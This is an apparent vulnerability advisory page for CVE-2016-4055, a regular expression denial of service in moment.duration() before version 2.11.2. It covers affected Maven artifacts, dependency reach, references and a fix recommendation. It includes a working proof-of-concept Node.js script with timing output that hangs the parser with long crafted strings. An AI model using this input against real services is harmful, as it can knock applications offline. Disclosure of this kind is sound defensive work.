CVE-2016-4055
Regular Expression Denial of Service in moment
Description
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » momentvia npm moment | < 2.11.2 | 2.11.2 |
| org.webjars » momentjsvia npm moment | < 2.11.2 | 2.11.2 |
| org.webjars.npm » momentvia npm moment | < 2.11.2 | 2.11.2 |
Blast radius
38% of the dependent artifacts (90) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 1,297 |
| 2 hops | 748 |
| 3 hops | 1,141 |
| 4 hops | 1,167 |
| 5 hops | 566 |
| 6 hops | 59 |
Most used dependents
- org.xwiki.platform » xwiki-platform-test-docker101 usages
- de.agilecoders.wicket » wicket-bootstrap-extensions59 usages
- de.tudarmstadt.ukp.clarin.webanno » webanno-api-annotation43 usages
- org.fenixedu » fenixedu-academic39 usages
- org.apache.isis.viewer » isis-viewer-wicket-ui32 usages
- de.tudarmstadt.ukp.clarin.webanno » webanno-api-dao30 usages
- org.webjars » Eonasdan-bootstrap-datetimepicker26 usages
- de.tudarmstadt.ukp.inception.app » inception-ui-core24 usages
- de.tudarmstadt.ukp.clarin.webanno » webanno-ui-core22 usages
- ca.uhn.hapi.fhir » hapi-fhir-testpage-overlay21 usages
- com.foreach.across.modules » admin-web-module21 usages
- de.tudarmstadt.ukp.inception.app » inception-recommendation-api19 usages
- de.tudarmstadt.ukp.clarin.webanno » webanno-ui-annotation15 usages
- net.aequologica.neo » geppaequo-tags15 usages
- de.tudarmstadt.ukp.clarin.webanno » webanno-brat12 usages
Computed from the dependency graph of build 20261125.0317 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2016-4055 | nvd.nist.gov |
| Advisory | GitHub advisory GHSA-87vv-r9j6-g5qv | github.com |
| Package | moment/moment | github.com |
| Web | thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@<dev.flink.apache.org ... | lists.apache.org |
| Web | thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@<user.flink.apache.or ... | lists.apache.org |
| Web | thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@<user.flink.apache.or ... | lists.apache.org |
| Web | thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@<user.flink.apache.or ... | lists.apache.org |
| Web | advisories/55 | npmjs.com |
| Web | security/tns-2019-02 | tenable.com |
| Web | lists/oss-security/2016/04/20/11 | openwall.com |
| Web | technetwork/security-advisory/cpujul2018-4258247.html | oracle.com |
| Web | bid/95849 | securityfocus.com |
